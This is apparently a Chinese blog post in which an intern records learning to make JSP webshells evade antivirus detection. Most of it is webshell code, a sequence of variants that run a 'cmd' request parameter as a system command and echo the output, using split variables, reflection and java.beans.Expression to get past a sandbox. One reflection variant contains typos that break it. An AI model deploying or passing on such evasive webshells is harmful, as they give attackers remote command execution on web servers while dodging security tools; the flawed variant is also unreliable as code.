• JSP webshell免杀——webshell免杀


    好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬。

    结果我免杀跟着学的视频就是这位大佬的。

    更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在。

    果然,实习就是好,传说中的大佬们就在身边——虽然我都不认识,但是还是感觉好厉害。

    来吧,开始学习免杀

    首先,什么是webshell?

    webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。

    什么是RCE?

    RCE英文全称:remote command/code execute
    分为远程命令执行ping和远程代码执行evel。
    漏洞出现的原因:没有在输入口做输入处理。

    先做到基本的反射

    首先就是最简单的一句话木马:

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        Runtime.getRuntime().exec(request.getParameter("cmd"));

    %>

     太容易被发现了

    而且在我写代码的时候电脑的病毒和威胁防护就已经开始反应了

    现在将这一句话木马,分开来写

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        String cmd =request.getParameter("cmd");

        Runtime.getRuntime().exec(cmd);

    %>

     

     沙箱是通过了✌

    但是cmd=ipconfig是什么都不出的,netstat -ano也是。

     再次修改代码

    <%@ page import="java.io.InputStream" %>

    <%@ page import="java.io.InputStreamReader" %>

    <%@ page import="java.io.BufferedReader" %>

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        String cmd =request.getParameter("cmd");

        Process process = Runtime.getRuntime().exec(cmd);

        InputStream in = process.getInputStream();

        InputStreamReader reader = new InputStreamReader(in);

        BufferedReader input = new BufferedReader(reader);

        String s = null;

        response.getWriter().print("<pre>");

        while ((s = input.readLine())!=null){

            response.getWriter().println(s);

        }

        response.getWriter().print("</pre>");

    %>

    中间出了个小插曲,

     我一直看不出来代码为什么报错,结果找了半天竟然是因为getWrite少了个r。

     

    但是这只完成了可回显,还没有反射的功能

    <%@ page import="java.io.InputStream" %>

    <%@ page import="java.io.InputStreamReader" %>

    <%@ page import="java.io.BufferedReader" %>

    <%@ page import="java.lang.reflect.Method" %>

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        String cmd =request.getParameter("cmd");

        Class<?> rt = Class.forName("java.lang.getRuntime");

        Methond grMethod = rt.getMethod("getRuntime");

        Methond method = rt.getMethod("exec",String.class);

        Object object = method.invoke(grMethod.invoke(null),cmd);

        Process process = (Process)object;

        InputStream in = process.getInputStream();

        InputStreamReader reader = new InputStreamReader(in);

        BufferedReader input = new BufferedReader(reader);

        String s = null;

        response.getWriter().print("<pre>");

        while ((s = input.readLine())!=null){

            response.getWriter().println(s);

        }

        response.getWriter().print("</pre>");

    %>

    BeansExpression的免杀

    <%@ page import="java.io.InputStream" %>

    <%@ page import="java.io.InputStreamReader" %>

    <%@ page import="java.io.BufferedReader" %>

    <%@ page import="java.beans.Expression" %>

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        String cmd =request.getParameter("cmd");

        Expression expr = new Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});

        Process process = (Process) expr.getValue();

        InputStream in = process.getInputStream();

        StringBuilder sb = new StringBuilder();

        response.getWriter().print("<pre>");

        InputStreamReader resultReader = new InputStreamReader(in);

        BufferedReader stdInput = new BufferedReader(resultReader);

        String s = null;

        while ((s = stdInput.readLine())!=null){

            sb.append(s).append("\n");

        }

        response.getWriter().print(sb.toString());

        response.getWriter().print("</pre>");

    %>

     

     

     

  • 相关阅读:
    河海大学李轶团队揭示河流交汇特性决定了汇流水动力区微生物群落对河网的影响
    设计模式之组合模式
    JAVA实训项目之学生管理系统(JDBC+GUI)
    java毕业设计共享单车系统(附源码、数据库)
    C++从零开始的打怪升级之路(day44)
    【JavaScript--正则表达式】一些常见的表达式及其用法
    跨境电商人的独立站该如何走出困境
    将Vue项目部署在Nginx,解决前端路由、反向代理和静态资源问题
    新型基础测绘与实景三维中国建设技术文件【4】基础地理实体数据元数据
    Java 二维数组
  • 原文地址:https://blog.csdn.net/weixin_46601374/article/details/125470062